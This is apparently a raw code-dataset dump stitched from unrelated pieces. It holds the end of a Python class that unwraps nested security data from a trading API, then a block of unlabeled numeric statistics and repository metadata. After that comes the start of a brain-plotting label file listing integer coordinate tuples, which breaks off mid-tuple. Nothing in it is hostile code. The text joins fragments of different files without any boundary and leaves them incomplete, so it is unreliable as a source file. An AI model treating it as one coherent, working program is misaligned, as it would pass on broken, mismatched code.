today_high(self) -> Optional[Price]: if not self.get('stats'): return None return Price(self['stats']['todayHigh']) class SecurityNested(Security): """Like a regular security but with `following` and `followers` fields. For some reason, the API returns all regular security fields as nested into `security` if there is social info presented. We just unwrap it because "flat is better than nested". """ @property def _sec(self): return self['security'] @property def following(self) -> bool: return self['socialInfo']['following'] @property def followers(self) -> int: return self['socialInfo']['followers']
24.070588
75
0.615347
240
2,046
5.154167
0.320833
0.14228
0.072757
0.077607
0.32983
0.244947
0.202102
0.103476
0.103476
0.103476
0
0
0.262952
2,046
84
76
24.357143
0.820292
0.120723
0
0.355932
0
0
0.096284
0
0
0
0
0
0
1
0.271186
false
0
0.050847
0.220339
0.677966
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
175d7dee275f71e7bd10fbe9b8bfe88cd675fd12
69,453
py
Python
template_container_human/labels/slice_91.py
lkondratova/Brainplot
3c8a88c1995dedeaa5cbd88ee71499c7cf9c571d
[ "MIT" ]
null
null
null
template_container_human/labels/slice_91.py
lkondratova/Brainplot
3c8a88c1995dedeaa5cbd88ee71499c7cf9c571d
[ "MIT" ]
null
null
null
template_container_human/labels/slice_91.py
lkondratova/Brainplot
3c8a88c1995dedeaa5cbd88ee71499c7cf9c571d
[ "MIT" ]
null
null
null
coordinates_E0E1E1 = ((123, 109), (123, 111), (123, 112), (123, 114), (124, 109), (124, 110), (125, 108), (125, 109), (125, 114), (126, 108), (126, 109), (127, 69), (127, 79), (127, 99), (127, 101), (127, 108), (128, 72), (128, 73), (128, 74), (128, 75), (128, 76), (128, 77), (128, 79), (128, 93), (128, 98), (128, 101), (128, 107), (128, 108), (129, 70), (129, 75), (129, 79), (129, 93), (129, 97), (129, 99), (129, 101), (129, 107), (130, 71), (130, 73), (130, 74), (130, 75), (130, 76), (130, 77), (130, 79), (130, 94), (130, 98), (130, 99), (130, 101), (130, 106), (130, 107), (131, 71), (131, 73), (131, 74), (131, 75), (131, 76), (131, 77), (131, 78), (131, 80), (131, 95), (131, 97), (131, 98), (131, 99), (131, 100), (131, 101), (131, 102), (131, 106), (132, 70), (132, 72), (132, 73), (132, 74), (132, 75), (132, 76), (132, 77), (132, 78), (132, 80), (132, 95), (132, 97), (132, 98), (132, 99), (132, 100), (132, 101), (132, 103), (132, 105), (133, 69), (133, 71), (133, 72), (133, 73), (133, 74), (133, 75), (133, 76), (133, 77), (133, 78), (133, 79), (133, 81), (133, 96), (133, 98), (133, 99), (133, 100), (133, 101), (133, 102), (133, 104), (134, 66), (134, 67), (134, 68), (134, 70), (134, 71), (134, 72), (134, 73), (134, 74), (134, 75), (134, 76), (134, 77), (134, 78), (134, 79), (134, 80), (134, 82), (134, 96), (134, 98), (134, 99), (134, 100), (134, 101), (134, 103), (135, 66), (135, 71), (135, 72), (135, 73), (135, 74), (135, 75), (135, 76), (135, 77), (135, 78), (135, 79), (135, 80), (135, 81), (135, 84), (135, 97), (135, 99), (135, 100), (135, 101), (135, 103), (136, 68), (136, 69), (136, 72), (136, 73), (136, 74), (136, 75), (136, 76), (136, 77), (136, 78), (136, 79), (136, 80), (136, 81), (136, 82), (136, 85), (136, 86), (136, 96), (136, 98), (136, 99), (136, 100), (136, 102), (136, 110), (137, 71), (137, 73), (137, 74), (137, 75), (137, 76), (137, 77), (137, 78), (137, 79), (137, 80), (137, 81), (137, 82), (137, 83), (137, 84), (137, 88), (137, 89), (137, 90), (137, 91), (137, 92), (137, 93), (137, 94), (137, 95), (137, 96), (137, 97), (137, 98), (137, 99), (137, 100), (137, 102), (138, 72), (138, 74), (138, 75), (138, 76), (138, 77), (138, 78), (138, 79), (138, 80), (138, 81), (138, 82), (138, 83), (138, 84), (138, 85), (138, 86), (138, 87), (138, 96), (138, 97), (138, 98), (138, 99), (138, 100), (138, 102), (138, 111), (139, 72), (139, 74), (139, 75), (139, 76), (139, 77), (139, 78), (139, 79), (139, 80), (139, 81), (139, 82), (139, 83), (139, 84), (139, 85), (139, 86), (139, 87), (139, 88), (139, 89), (139, 90), (139, 91), (139, 92), (139, 93), (139, 94), (139, 95), (139, 96), (139, 97), (139, 98), (139, 99), (139, 100), (139, 101), (139, 102), (139, 111), (139, 112), (140, 72), (140, 74), (140, 75), (140, 76), (140, 77), (140, 78), (140, 79), (140, 80), (140, 81), (140, 82), (140, 83), (140, 84), (140, 85), (140, 86), (140, 87), (140, 88), (140, 89), (140, 90), (140, 91), (140, 92), (140, 93), (140, 94), (140, 95), (140, 96), (140, 97), (140, 98), (140, 99), (140, 100), (140, 101), (140, 102), (140, 105), (140, 110), (140, 113), (141, 71), (141, 73), (141, 74), (141, 75), (141, 76), (141, 77), (141, 78), (141, 79), (141, 80), (141, 81), (141, 82), (141, 83), (141, 84), (141, 85), (141, 86), (141, 87), (141, 88), (141, 89), (141, 90), (141, 91), (141, 92), (141, 93), (141, 94), (141, 95), (141, 96), (141, 97), (141, 98), (141, 99), (141, 100), (141, 101), (141, 102), (141, 103), (141, 108), (141, 111), (141, 112), (141, 114), (142, 68), (142, 69), (142, 72), (142, 73), (142, 79), (142, 80), (142, 81), (142, 82), (142, 83), (142, 84), (142, 85), (142, 86), (142, 87), (142, 88), (142, 89), (142, 90), (142, 91), (142, 92), (142, 93), (142, 94), (142, 95), (142, 96), (142, 97), (142, 98), (142, 99), (142, 100), (142, 101), (142, 102), (142, 103), (142, 104), (142, 105), (142, 107), (142, 110), (142, 111), (142, 112), (142, 113), (142, 116), (142, 145), (143, 66), (143, 74), (143, 75), (143, 76), (143, 77), (143, 78), (143, 82), (143, 83), (143, 84), (143, 85), (143, 86), (143, 87), (143, 88), (143, 89), (143, 90), (143, 91), (143, 92), (143, 93), (143, 94), (143, 95), (143, 96), (143, 97), (143, 98), (143, 99), (143, 100), (143, 101), (143, 102), (143, 103), (143, 104), (143, 105), (143, 106), (143, 108), (143, 109), (143, 110), (143, 111), (143, 112), (143, 113), (143, 114), (143, 117), (143, 143), (143, 146), (144, 66), (144, 68), (144, 69), (144, 70), (144, 71), (144, 72), (144, 73), (144, 79), (144, 80), (144, 81), (144, 82), (144, 83), (144, 84), (144, 85), (144, 86), (144, 87), (144, 88), (144, 89), (144, 90), (144, 91), (144, 92), (144, 93), (144, 94), (144, 95), (144, 96), (144, 97), (144, 98), (144, 99), (144, 100), (144, 101), (144, 102), (144, 103), (144, 104), (144, 105), (144, 106), (144, 107), (144, 108), (144, 109), (144, 110), (144, 111), (144, 112), (144, 113), (144, 114), (144, 115), (144, 116), (144, 119), (144, 120), (144, 121), (144, 122), (144, 130), (144, 132), (144, 144), (144, 147), (145, 67), (145, 68), (145, 83), (145, 84), (145, 85), (145, 86), (145, 87), (145, 88), (145, 89), (145, 90), (145, 91), (145, 92), (145, 93), (145, 94), (145, 95), (145, 96), (145, 97), (145, 98), (145, 99), (145, 100), (145, 101), (145, 102), (145, 103), (145, 104), (145, 105), (145, 106), (145, 107), (145, 108), (145, 109), (145, 110), (145, 111), (145, 112), (145, 113), (145, 114), (145, 115), (145, 116), (145, 117), (145, 124), (145, 125), (145, 126), (145, 127), (145, 128), (145, 129), (145, 133), (145, 144), (145, 146), (145, 148), (146, 82), (146, 84), (146, 85), (146, 86), (146, 87), (146, 88), (146, 89), (146, 90), (146, 91), (146, 92), (146, 93), (146, 94), (146, 95), (146, 96), (146, 97), (146, 98), (146, 99), (146, 100), (146, 101), (146, 102), (146, 103), (146, 104), (146, 105), (146, 106), (146, 107), (146, 108), (146, 109), (146, 110), (146, 111), (146, 112), (146, 113), (146, 114), (146, 115), (146, 116), (146, 117), (146, 118), (146, 119), (146, 120), (146, 121), (146, 122), (146, 130), (146, 131), (146, 132), (146, 145), (146, 148), (147, 81), (147, 83), (147, 84), (147, 85), (147, 86), (147, 87), (147, 88), (147, 89), (147, 90), (147, 91), (147, 92), (147, 93), (147, 94), (147, 95), (147, 96), (147, 97), (147, 98), (147, 99), (147, 100), (147, 101), (147, 102), (147, 103), (147, 104), (147, 105), (147, 106), (147, 107), (147, 108), (147, 109), (147, 110), (147, 111), (147, 112), (147, 113), (147, 114), (147, 115), (147, 116), (147, 117), (147, 118), (147, 119), (147, 120), (147, 121), (147, 122), (147, 123), (147, 124), (147, 125), (147, 126), (147, 127), (147, 128), (147, 129), (147, 130), (147, 131), (147, 132), (147, 133), (147, 135), (147, 146), (147, 148), (148, 80), (148, 82), (148, 83), (148, 84), (148, 85), (148, 86), (148, 87), (148, 88), (148, 89), (148, 90), (148, 91), (148, 92), (148, 93), (148, 94), (148, 95), (148, 96), (148, 97), (148, 98), (148, 99), (148, 100), (148, 101), (148, 102), (148, 103), (148, 104), (148, 105), (148, 106), (148, 107), (148, 108), (148, 109), (148, 110), (148, 111), (148, 112), (148, 113), (148, 114), (148, 115), (148, 116), (148, 117), (148, 118), (148, 119), (148, 120), (148, 121), (148, 122), (148, 123), (148, 124), (148, 125), (148, 126), (148, 127), (148, 128), (148, 129), (148, 130), (148, 131), (148, 132), (148, 133), (148, 134), (148, 136), (148, 146), (148, 147), (149, 79), (149, 81), (149, 82), (149, 83), (149, 84), (149, 85), (149, 86), (149, 92), (149, 93), (149, 94), (149, 95), (149, 96), (149, 97), (149, 98), (149, 99), (149, 100), (149, 101), (149, 102), (149, 103), (149, 104), (149, 105), (149, 106), (149, 107), (149, 108), (149, 109), (149, 110), (149, 111), (149, 112), (149, 113), (149, 116), (149, 117), (149, 118), (149, 119), (149, 120), (149, 121), (149, 122), (149, 123), (149, 124), (149, 125), (149, 126), (149, 127), (149, 128), (149, 129), (149, 130), (149, 131), (149, 132), (149, 133), (149, 134), (149, 136), (149, 146), (150, 78), (150, 80), (150, 81), (150, 82), (150, 83), (150, 84), (150, 87), (150, 88), (150, 89), (150, 90), (150, 91), (150, 94), (150, 95), (150, 96), (150, 97), (150, 98), (150, 99), (150, 100), (150, 101), (150, 102), (150, 103), (150, 104), (150, 105), (150, 106), (150, 107), (150, 108), (150, 109), (150, 110), (150, 111), (150, 114), (150, 117), (150, 118), (150, 119), (150, 120), (150, 121), (150, 122), (150, 123), (150, 124), (150, 125), (150, 126), (150, 127), (150, 128), (150, 129), (150, 130), (150, 131), (150, 132), (150, 133), (150, 134), (150, 136), (150, 146), (151, 79), (151, 80), (151, 81), (151, 82), (151, 83), (151, 92), (151, 93), (151, 96), (151, 97), (151, 98), (151, 99), (151, 100), (151, 101), (151, 102), (151, 103), (151, 104), (151, 105), (151, 106), (151, 107), (151, 108), (151, 109), (151, 110), (151, 111), (151, 113), (151, 116), (151, 118), (151, 119), (151, 120), (151, 121), (151, 122), (151, 123), (151, 124), (151, 125), (151, 126), (151, 127), (151, 128), (151, 129), (151, 130), (151, 131), (151, 132), (151, 133), (151, 134), (151, 136), (152, 72), (152, 73), (152, 74), (152, 75), (152, 78), (152, 79), (152, 80), (152, 81), (152, 82), (152, 84), (152, 94), (152, 97), (152, 98), (152, 99), (152, 100), (152, 101), (152, 102), (152, 103), (152, 104), (152, 105), (152, 106), (152, 107), (152, 108), (152, 109), (152, 111), (152, 117), (152, 127), (152, 128), (152, 129), (152, 130), (152, 131), (152, 132), (152, 133), (152, 134), (152, 136), (153, 70), (153, 76), (153, 77), (153, 78), (153, 79), (153, 80), (153, 83), (153, 96), (153, 98), (153, 99), (153, 100), (153, 101), (153, 102), (153, 103), (153, 104), (153, 105), (153, 106), (153, 107), (153, 108), (153, 109), (153, 111), (153, 118), (153, 120), (153, 121), (153, 122), (153, 123), (153, 124), (153, 125), (153, 126), (153, 130), (153, 131), (153, 132), (153, 133), (153, 134), (153, 136), (154, 70), (154, 73), (154, 74), (154, 75), (154, 76), (154, 77), (154, 82), (154, 97), (154, 98), (154, 99), (154, 100), (154, 101), (154, 102), (154, 103), (154, 104), (154, 105), (154, 106), (154, 107), (154, 108), (154, 110), (154, 128), (154, 131), (154, 132), (154, 133), (154, 134), (154, 136), (155, 72), (155, 74), (155, 75), (155, 78), (155, 79), (155, 97), (155, 99), (155, 100), (155, 101), (155, 102), (155, 103), (155, 104), (155, 105), (155, 106), (155, 107), (155, 108), (155, 110), (155, 130), (155, 132), (155, 133), (155, 134), (155, 136), (155, 143), (156, 73), (156, 98), (156, 100), (156, 101), (156, 102), (156, 103), (156, 104), (156, 105), (156, 106), (156, 107), (156, 109), (156, 131), (156, 133), (156, 134), (156, 135), (156, 137), (156, 143), (156, 144), (157, 73), (157, 75), (157, 98), (157, 100), (157, 101), (157, 102), (157, 103), (157, 104), (157, 105), (157, 106), (157, 107), (157, 109), (157, 131), (157, 133), (157, 134), (157, 135), (157, 136), (157, 139), (157, 143), (157, 144), (158, 73), (158, 74), (158, 98), (158, 100), (158, 101), (158, 102), (158, 103), (158, 104), (158, 105), (158, 106), (158, 107), (158, 109), (158, 131), (158, 133), (158, 134), (158, 135), (158, 136), (158, 137), (158, 139), (158, 143), (159, 98), (159, 100), (159, 101), (159, 102), (159, 103), (159, 104), (159, 105), (159, 106), (159, 107), (159, 109), (159, 131), (159, 133), (159, 134), (159, 135), (159, 136), (159, 137), (159, 138), (159, 142), (159, 143), (159, 144), (159, 146), (160, 99), (160, 101), (160, 102), (160, 103), (160, 104), (160, 105), (160, 106), (160, 108), (160, 131), (160, 133), (160, 134), (160, 135), (160, 136), (160, 137), (160, 138), (160, 139), (160, 143), (160, 145), (161, 99), (161, 101), (161, 102), (161, 103), (161, 104), (161, 105), (161, 107), (161, 130), (161, 138), (161, 139), (161, 140), (161, 141), (161, 142), (161, 144), (162, 90), (162, 91), (162, 98), (162, 100), (162, 101), (162, 102), (162, 103), (162, 104), (162, 106), (162, 132), (162, 133), (162, 134), (162, 135), (162, 136), (162, 139), (162, 140), (162, 141), (162, 142), (162, 144), (163, 89), (163, 97), (163, 98), (163, 99), (163, 100), (163, 101), (163, 102), (163, 103), (163, 104), (163, 106), (163, 127), (163, 138), (163, 140), (163, 141), (163, 142), (163, 144), (164, 88), (164, 91), (164, 94), (164, 95), (164, 96), (164, 98), (164, 99), (164, 100), (164, 101), (164, 102), (164, 103), (164, 105), (164, 122), (164, 126), (164, 129), (164, 139), (164, 141), (164, 142), (164, 144), (165, 87), (165, 89), (165, 90), (165, 94), (165, 97), (165, 98), (165, 99), (165, 100), (165, 101), (165, 102), (165, 103), (165, 104), (165, 105), (165, 106), (165, 122), (165, 124), (165, 125), (165, 127), (165, 129), (165, 140), (165, 142), (165, 144), (166, 86), (166, 87), (166, 96), (166, 98), (166, 99), (166, 100), (166, 101), (166, 102), (166, 103), (166, 104), (166, 106), (166, 123), (166, 126), (166, 128), (166, 140), (166, 142), (166, 143), (166, 144), (166, 145), (166, 146), (166, 148), (167, 79), (167, 81), (167, 82), (167, 83), (167, 84), (167, 96), (167, 98), (167, 99), (167, 101), (167, 102), (167, 103), (167, 104), (167, 105), (167, 107), (167, 124), (167, 127), (167, 141), (167, 143), (167, 144), (167, 149), (168, 80), (168, 83), (168, 95), (168, 100), (168, 104), (168, 105), (168, 106), (168, 108), (168, 124), (168, 125), (168, 127), (168, 141), (168, 143), (168, 144), (168, 145), (168, 146), (168, 147), (168, 149), (169, 81), (169, 95), (169, 98), (169, 101), (169, 102), (169, 105), (169, 106), (169, 107), (169, 109), (169, 125), (169, 127), (169, 142), (169, 144), (169, 145), (169, 146), (169, 147), (169, 148), (169, 150), (170, 94), (170, 96), (170, 104), (170, 106), (170, 107), (170, 108), (170, 110), (170, 125), (170, 126), (170, 142), (170, 144), (170, 145), (170, 146), (170, 152), (171, 93), (171, 95), (171, 104), (171, 105), (171, 111), (171, 125), (171, 126), (171, 142), (171, 144), (171, 145), (171, 146), (171, 148), (171, 152), (172, 93), (172, 95), (172, 105), (172, 107), (172, 108), (172, 110), (172, 112), (172, 125), (172, 126), (172, 142), (172, 144), (172, 146), (172, 150), (172, 152), (173, 93), (173, 94), (173, 105), (173, 110), (173, 112), (173, 126), (173, 141), (173, 143), (173, 144), (173, 146), (173, 151), (174, 110), (174, 112), (174, 124), (174, 126), (174, 141), (174, 143), (174, 144), (174, 146), (175, 104), (175, 111), (175, 124), (175, 126), (175, 140), (175, 142), (175, 143), (175, 144), (175, 146), (176, 104), (176, 111), (176, 113), (176, 124), (176, 126), (176, 139), (176, 141), (176, 142), (176, 146), (177, 111), (177, 113), (177, 124), (177, 126), (177, 138), (177, 140), (177, 141), (177, 142), (177, 143), (177, 145), (178, 111), (178, 113), (178, 125), (178, 137), (178, 139), (178, 140), (178, 142), (179, 112), (179, 113), (179, 125), (179, 136), (179, 140), (179, 142), (180, 113), (180, 125), (180, 136), (180, 138), (180, 139), (180, 142), (181, 124), (181, 125), (181, 141), (181, 142), (182, 124), (182, 125), (182, 141), (183, 124), (183, 125), (183, 141), (184, 125), (184, 141), (185, 125), (185, 141), ) coordinates_E1E1E1 = ((61, 138), (62, 108), (62, 128), (62, 129), (62, 138), (63, 107), (63, 108), (63, 128), (63, 130), (63, 138), (63, 139), (64, 107), (64, 108), (64, 128), (64, 130), (64, 138), (64, 139), (64, 151), (65, 107), (65, 108), (65, 129), (65, 130), (65, 138), (65, 151), (66, 99), (66, 107), (66, 108), (66, 129), (66, 130), (66, 139), (66, 140), (66, 151), (67, 89), (67, 91), (67, 99), (67, 101), (67, 102), (67, 103), (67, 104), (67, 105), (67, 107), (67, 116), (67, 117), (67, 118), (67, 120), (67, 130), (67, 139), (67, 141), (67, 150), (68, 89), (68, 92), (68, 100), (68, 107), (68, 114), (68, 120), (68, 130), (68, 139), (68, 141), (68, 150), (69, 93), (69, 100), (69, 102), (69, 103), (69, 104), (69, 105), (69, 106), (69, 108), (69, 113), (69, 121), (69, 129), (69, 130), (69, 139), (69, 142), (70, 95), (70, 99), (70, 100), (70, 101), (70, 102), (70, 103), (70, 104), (70, 105), (70, 106), (70, 107), (70, 108), (70, 109), (70, 110), (70, 111), (70, 116), (70, 117), (70, 118), (70, 120), (70, 130), (70, 139), (70, 142), (70, 149), (71, 96), (71, 97), (71, 98), (71, 100), (71, 101), (71, 102), (71, 103), (71, 104), (71, 105), (71, 106), (71, 107), (71, 108), (71, 114), (71, 128), (71, 130), (71, 140), (71, 142), (71, 149), (71, 150), (72, 100), (72, 101), (72, 102), (72, 103), (72, 104), (72, 105), (72, 106), (72, 107), (72, 108), (72, 109), (72, 110), (72, 111), (72, 127), (72, 130), (72, 140), (72, 142), (72, 149), (72, 150), (73, 99), (73, 101), (73, 102), (73, 103), (73, 104), (73, 105), (73, 106), (73, 107), (73, 108), (73, 109), (73, 110), (73, 112), (73, 128), (73, 130), (73, 140), (73, 143), (73, 148), (73, 151), (74, 99), (74, 101), (74, 102), (74, 103), (74, 104), (74, 105), (74, 106), (74, 107), (74, 108), (74, 109), (74, 111), (74, 128), (74, 130), (74, 140), (74, 142), (74, 144), (74, 145), (74, 146), (74, 149), (74, 151), (75, 100), (75, 102), (75, 103), (75, 104), (75, 105), (75, 106), (75, 107), (75, 108), (75, 109), (75, 110), (75, 111), (75, 128), (75, 130), (75, 140), (75, 142), (75, 143), (75, 148), (75, 149), (75, 151), (76, 101), (76, 103), (76, 104), (76, 105), (76, 106), (76, 107), (76, 108), (76, 110), (76, 128), (76, 130), (76, 140), (76, 142), (76, 143), (76, 144), (76, 145), (76, 146), (76, 147), (76, 148), (76, 149), (76, 150), (76, 152), (77, 101), (77, 103), (77, 104), (77, 105), (77, 106), (77, 107), (77, 108), (77, 110), (77, 128), (77, 130), (77, 140), (77, 142), (77, 143), (77, 144), (77, 145), (77, 152), (78, 102), (78, 104), (78, 105), (78, 106), (78, 107), (78, 108), (78, 110), (78, 127), (78, 129), (78, 131), (78, 139), (78, 141), (78, 142), (78, 143), (78, 144), (78, 145), (78, 147), (78, 148), (78, 149), (78, 150), (78, 152), (79, 102), (79, 104), (79, 105), (79, 106), (79, 107), (79, 108), (79, 110), (79, 126), (79, 133), (79, 139), (79, 141), (79, 142), (79, 143), (79, 145), (80, 102), (80, 104), (80, 105), (80, 106), (80, 107), (80, 108), (80, 110), (80, 129), (80, 130), (80, 131), (80, 134), (80, 138), (80, 140), (80, 141), (80, 142), (80, 143), (80, 145), (81, 102), (81, 104), (81, 105), (81, 106), (81, 107), (81, 108), (81, 110), (81, 125), (81, 126), (81, 127), (81, 132), (81, 135), (81, 136), (81, 139), (81, 140), (81, 141), (81, 142), (81, 143), (81, 145), (82, 102), (82, 104), (82, 105), (82, 106), (82, 107), (82, 108), (82, 110), (82, 134), (82, 138), (82, 139), (82, 140), (82, 141), (82, 142), (82, 143), (82, 145), (83, 102), (83, 104), (83, 105), (83, 106), (83, 107), (83, 108), (83, 110), (83, 134), (83, 136), (83, 137), (83, 138), (83, 139), (83, 140), (83, 141), (83, 142), (83, 143), (83, 145), (84, 76), (84, 102), (84, 104), (84, 105), (84, 106), (84, 107), (84, 108), (84, 110), (84, 134), (84, 136), (84, 137), (84, 138), (84, 139), (84, 140), (84, 141), (84, 142), (84, 143), (84, 144), (84, 146), (85, 74), (85, 77), (85, 102), (85, 104), (85, 105), (85, 106), (85, 107), (85, 108), (85, 110), (85, 134), (85, 136), (85, 137), (85, 138), (85, 139), (85, 143), (85, 144), (85, 147), (86, 73), (86, 76), (86, 78), (86, 101), (86, 103), (86, 104), (86, 105), (86, 106), (86, 107), (86, 108), (86, 110), (86, 134), (86, 136), (86, 137), (86, 138), (86, 141), (86, 142), (86, 143), (86, 144), (86, 145), (86, 149), (87, 72), (87, 75), (87, 76), (87, 77), (87, 79), (87, 100), (87, 102), (87, 103), (87, 104), (87, 105), (87, 106), (87, 107), (87, 108), (87, 110), (87, 134), (87, 136), (87, 137), (87, 139), (87, 143), (87, 145), (88, 72), (88, 74), (88, 75), (88, 76), (88, 77), (88, 78), (88, 98), (88, 101), (88, 102), (88, 103), (88, 104), (88, 105), (88, 106), (88, 107), (88, 108), (88, 109), (88, 111), (88, 133), (88, 135), (88, 136), (88, 138), (88, 144), (89, 72), (89, 75), (89, 76), (89, 77), (89, 78), (89, 79), (89, 82), (89, 96), (89, 100), (89, 101), (89, 102), (89, 103), (89, 104), (89, 105), (89, 106), (89, 107), (89, 108), (89, 109), (89, 111), (89, 131), (89, 134), (89, 135), (89, 136), (89, 138), (89, 144), (90, 73), (90, 77), (90, 78), (90, 79), (90, 80), (90, 81), (90, 84), (90, 94), (90, 98), (90, 99), (90, 100), (90, 101), (90, 102), (90, 103), (90, 104), (90, 105), (90, 106), (90, 107), (90, 108), (90, 109), (90, 110), (90, 111), (90, 112), (90, 116), (90, 117), (90, 129), (90, 130), (90, 133), (90, 134), (90, 135), (90, 137), (90, 144), (91, 75), (91, 79), (91, 80), (91, 81), (91, 82), (91, 86), (91, 87), (91, 88), (91, 90), (91, 91), (91, 92), (91, 96), (91, 97), (91, 98), (91, 99), (91, 100), (91, 101), (91, 102), (91, 103), (91, 104), (91, 105), (91, 106), (91, 107), (91, 108), (91, 109), (91, 110), (91, 111), (91, 114), (91, 115), (91, 118), (91, 119), (91, 120), (91, 121), (91, 122), (91, 123), (91, 124), (91, 125), (91, 126), (91, 127), (91, 131), (91, 132), (91, 133), (91, 134), (91, 135), (91, 137), (91, 144), (91, 145), (92, 77), (92, 81), (92, 82), (92, 83), (92, 84), (92, 85), (92, 89), (92, 93), (92, 94), (92, 95), (92, 96), (92, 97), (92, 98), (92, 99), (92, 100), (92, 101), (92, 102), (92, 103), (92, 104), (92, 105), (92, 106), (92, 107), (92, 108), (92, 109), (92, 110), (92, 111), (92, 112), (92, 113), (92, 116), (92, 117), (92, 128), (92, 129), (92, 130), (92, 131), (92, 132), (92, 133), (92, 134), (92, 136), (92, 145), (93, 79), (93, 83), (93, 84), (93, 85), (93, 86), (93, 87), (93, 88), (93, 90), (93, 91), (93, 92), (93, 93), (93, 94), (93, 95), (93, 96), (93, 97), (93, 98), (93, 99), (93, 100), (93, 101), (93, 102), (93, 103), (93, 104), (93, 105), (93, 106), (93, 107), (93, 108), (93, 109), (93, 110), (93, 111), (93, 112), (93, 113), (93, 114), (93, 115), (93, 116), (93, 117), (93, 118), (93, 119), (93, 120), (93, 121), (93, 122), (93, 123), (93, 124), (93, 125), (93, 126), (93, 127), (93, 128), (93, 129), (93, 130), (93, 131), (93, 132), (93, 133), (93, 134), (93, 136), (94, 81), (94, 84), (94, 85), (94, 86), (94, 87), (94, 88), (94, 89), (94, 90), (94, 91), (94, 92), (94, 93), (94, 94), (94, 95), (94, 96), (94, 97), (94, 98), (94, 99), (94, 100), (94, 101), (94, 102), (94, 103), (94, 104), (94, 105), (94, 106), (94, 107), (94, 108), (94, 109), (94, 110), (94, 111), (94, 112), (94, 113), (94, 114), (94, 115), (94, 116), (94, 117), (94, 118), (94, 119), (94, 120), (94, 121), (94, 122), (94, 123), (94, 124), (94, 125), (94, 126), (94, 127), (94, 128), (94, 129), (94, 130), (94, 131), (94, 132), (94, 133), (94, 134), (94, 136), (95, 83), (95, 85), (95, 86), (95, 87), (95, 88), (95, 89), (95, 90), (95, 91), (95, 92), (95, 93), (95, 94), (95, 95), (95, 96), (95, 97), (95, 98), (95, 99), (95, 100), (95, 101), (95, 102), (95, 103), (95, 104), (95, 105), (95, 106), (95, 107), (95, 108), (95, 109), (95, 110), (95, 111), (95, 112), (95, 113), (95, 114), (95, 115), (95, 116), (95, 117), (95, 118), (95, 119), (95, 120), (95, 121), (95, 122), (95, 123), (95, 124), (95, 125), (95, 126), (95, 127), (95, 128), (95, 129), (95, 130), (95, 131), (95, 132), (95, 133), (95, 136), (96, 84), (96, 86), (96, 87), (96, 88), (96, 89), (96, 90), (96, 91), (96, 92), (96, 93), (96, 94), (96, 95), (96, 96), (96, 97), (96, 98), (96, 99), (96, 100), (96, 101), (96, 102), (96, 103), (96, 104), (96, 105), (96, 106), (96, 107), (96, 108), (96, 109), (96, 110), (96, 111), (96, 112), (96, 113), (96, 114), (96, 115), (96, 116), (96, 117), (96, 118), (96, 119), (96, 120), (96, 121), (96, 122), (96, 123), (96, 124), (96, 125), (96, 132), (96, 134), (96, 136), (96, 148), (97, 85), (97, 87), (97, 88), (97, 89), (97, 90), (97, 91), (97, 92), (97, 93), (97, 94), (97, 95), (97, 96), (97, 97), (97, 98), (97, 99), (97, 100), (97, 101), (97, 102), (97, 103), (97, 104), (97, 105), (97, 106), (97, 107), (97, 108), (97, 109), (97, 110), (97, 111), (97, 112), (97, 113), (97, 114), (97, 115), (97, 116), (97, 117), (97, 118), (97, 119), (97, 120), (97, 126), (97, 127), (97, 128), (97, 129), (97, 130), (97, 131), (97, 136), (97, 148), (98, 86), (98, 88), (98, 89), (98, 90), (98, 91), (98, 92), (98, 93), (98, 94), (98, 95), (98, 96), (98, 97), (98, 98), (98, 99), (98, 100), (98, 101), (98, 102), (98, 103), (98, 104), (98, 105), (98, 106), (98, 107), (98, 108), (98, 109), (98, 110), (98, 111), (98, 112), (98, 113), (98, 114), (98, 115), (98, 116), (98, 117), (98, 121), (98, 122), (98, 123), (98, 124), (98, 132), (98, 147), (98, 149), (99, 86), (99, 88), (99, 89), (99, 90), (99, 91), (99, 92), (99, 93), (99, 94), (99, 95), (99, 96), (99, 97), (99, 98), (99, 99), (99, 100), (99, 101), (99, 102), (99, 103), (99, 104), (99, 105), (99, 106), (99, 107), (99, 108), (99, 109), (99, 110), (99, 111), (99, 112), (99, 113), (99, 114), (99, 115), (99, 118), (99, 119), (99, 120), (99, 146), (99, 148), (100, 86), (100, 88), (100, 89), (100, 90), (100, 91), (100, 92), (100, 93), (100, 94), (100, 95), (100, 96), (100, 97), (100, 98), (100, 99), (100, 100), (100, 101), (100, 102), (100, 103), (100, 104), (100, 105), (100, 106), (100, 107), (100, 108), (100, 109), (100, 110), (100, 111), (100, 112), (100, 113), (100, 117), (100, 145), (100, 148), (101, 85), (101, 87), (101, 88), (101, 89), (101, 90), (101, 91), (101, 92), (101, 93), (101, 94), (101, 95), (101, 96), (101, 97), (101, 98), (101, 99), (101, 100), (101, 101), (101, 102), (101, 103), (101, 104), (101, 105), (101, 106), (101, 110), (101, 111), (101, 112), (101, 115), (101, 144), (101, 147), (102, 86), (102, 87), (102, 88), (102, 89), (102, 90), (102, 91), (102, 92), (102, 93), (102, 94), (102, 95), (102, 96), (102, 97), (102, 98), (102, 99), (102, 100), (102, 101), (102, 102), (102, 105), (102, 107), (102, 108), (102, 109), (102, 111), (102, 114), (102, 144), (102, 146), (103, 81), (103, 82), (103, 85), (103, 86), (103, 87), (103, 88), (103, 89), (103, 90), (103, 91), (103, 92), (103, 93), (103, 94), (103, 95), (103, 96), (103, 97), (103, 98), (103, 99), (103, 100), (103, 101), (103, 102), (103, 104), (103, 110), (103, 112), (103, 144), (103, 145), (104, 79), (104, 80), (104, 83), (104, 84), (104, 85), (104, 86), (104, 87), (104, 88), (104, 89), (104, 90), (104, 91), (104, 92), (104, 93), (104, 94), (104, 95), (104, 96), (104, 97), (104, 98), (104, 99), (104, 100), (104, 102), (104, 105), (104, 111), (105, 68), (105, 69), (105, 70), (105, 71), (105, 72), (105, 73), (105, 74), (105, 75), (105, 76), (105, 77), (105, 78), (105, 81), (105, 82), (105, 83), (105, 84), (105, 85), (105, 86), (105, 87), (105, 88), (105, 89), (105, 90), (105, 91), (105, 92), (105, 93), (105, 94), (105, 95), (105, 96), (105, 97), (105, 98), (105, 99), (105, 100), (105, 102), (106, 66), (106, 75), (106, 79), (106, 80), (106, 81), (106, 82), (106, 83), (106, 84), (106, 85), (106, 86), (106, 87), (106, 88), (106, 89), (106, 90), (106, 91), (106, 92), (106, 93), (106, 94), (106, 95), (106, 96), (106, 97), (106, 98), (106, 99), (106, 100), (106, 102), (107, 66), (107, 68), (107, 69), (107, 70), (107, 71), (107, 72), (107, 73), (107, 74), (107, 75), (107, 